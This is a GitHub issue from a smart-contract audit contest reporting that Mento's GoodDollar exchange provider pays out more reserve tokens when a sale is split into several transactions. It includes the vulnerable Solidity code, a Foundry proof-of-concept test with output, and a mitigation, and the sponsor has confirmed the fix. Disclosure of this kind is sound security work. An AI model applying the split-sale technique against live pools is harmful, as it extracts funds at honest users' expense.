Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ZeroTrust - A malicious user can obtain more reserve tokens by selling GoodDollar multiple times rather than selling it all at once. #64

Open
sherlock-admin2 opened this issue Oct 31, 2024 · 1 comment
Labels
Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed

Comments

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Oct 31, 2024

ZeroTrust

High

A malicious user can obtain more reserve tokens by selling GoodDollar multiple times rather than selling it all at once.

Summary

A malicious user can obtain more reserve tokens by selling GoodDollar multiple times rather than selling it all at once.

Root Cause

https://github.com/sherlock-audit/2024-10-mento-update/blob/098b17fb32d294145a7f000d96917d13db8756cc/mento-core/contracts/goodDollar/BancorExchangeProvider.sol#L324

 function _getScaledAmountOut(
    PoolExchange memory exchange,
    address tokenIn,
    address tokenOut,
    uint256 scaledAmountIn
  ) internal view verifyExchangeTokens(tokenIn, tokenOut, exchange) returns (uint256 scaledAmountOut) {
    if (tokenIn == exchange.reserveAsset) {
      scaledAmountOut = purchaseTargetAmount(
        exchange.tokenSupply,
        exchange.reserveBalance,
        exchange.reserveRatio,
        scaledAmountIn
      );
    } else {
      scaledAmountOut = saleTargetAmount(
        exchange.tokenSupply,
        exchange.reserveBalance,
        exchange.reserveRatio,
        scaledAmountIn
      );
      // apply exit contribution
@>>      scaledAmountOut = (scaledAmountOut * (MAX_WEIGHT - exchange.exitContribution)) / MAX_WEIGHT;
    }
  }

Due to the effect of exitContribution, the price curve becomes discontinuous, allowing malicious users to exploit this.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Split the GoodDollar to be sold into multiple sales.

Impact

Malicious users can obtain more reserve tokens, causing honest users to incur losses.

PoC

contract GoodDollarExchangeProviderTest_compareSellTwoTime is GoodDollarExchangeProviderTest {
  GoodDollarExchangeProvider exchangeProvider;
  bytes32 exchangeId;
  uint256 reserveInterest;

  function setUp() public override {
    super.setUp();
    poolExchange = IBancorExchangeProvider.PoolExchange({
      reserveAsset: address(reserveToken),
      tokenAddress: address(token),
      tokenSupply: 7_00_000 * 1e18,
      reserveBalance: 200_000 * 1e18,
      reserveRatio: 1e8 * 0.28571428,
      exitContribution: 1e8 * 0.1
    });
    exchangeProvider = initializeGoodDollarExchangeProvider();
    vm.prank(avatarAddress);
    exchangeId = exchangeProvider.createExchange(poolExchange);
  }

function test_compare_sell_two_times_swapIn() public {
  
    uint256 amountIn = 10000*1e18; //

    uint256 amountOut_one = exchangeProvider.getAmountOut(exchangeId,address(token), address(reserveToken),  amountIn*2 );
    

    vm.prank(brokerAddress);
    uint256 out_first = exchangeProvider.swapIn(exchangeId,address(token),address(reserveToken),  amountIn );
    vm.prank(brokerAddress);
    uint256 out_second = exchangeProvider.swapIn(exchangeId, address(token),address(reserveToken), amountIn );

    assertGt(out_first+out_second, amountOut_one);

    console2.log("amountout one time is", amountOut_one);
    console2.log("amountout two time is", out_first+out_second);
    
  }
}

Add above code in file test/unit/goodDollar/GoodDollarExchangeProvider.t.sol, then run forge test --mt test_compare_sell_two_times_swapIn -vv
then will get:

Ran 1 test for test/unit/goodDollar/GoodDollarExchangeProvider.t.sol:GoodDollarExchangeProviderTest_compareSellTwoTime
[PASS] test_compare_sell_two_times_swapIn() (gas: 166768)
Logs:
  amountout one time is 17366293967395736536203
  amountout two time is 17410330245249691351610

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.16ms (714.04µs CPU time)

It can be seen that selling in two transactions yields more reserve tokens. If split into even more transactions, even more reserve tokens can be obtained.

Mitigation

The penalty fees are stored separately to be allocated to UBI receivers.

@sherlock-admin3 sherlock-admin3 changed the title Silly Mulberry Chinchilla - A malicious user can obtain more reserve tokens by selling GoodDollar multiple times rather than selling it all at once. ZeroTrust - A malicious user can obtain more reserve tokens by selling GoodDollar multiple times rather than selling it all at once. Nov 5, 2024
@sherlock-admin2
Copy link
Contributor Author

The protocol team fixed this issue in the following PRs/commits:
mento-protocol/mento-core#557

@sherlock-admin3 sherlock-admin3 added Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed labels Nov 28, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed
Projects
None yet
Development

No branches or pull requests

2 participants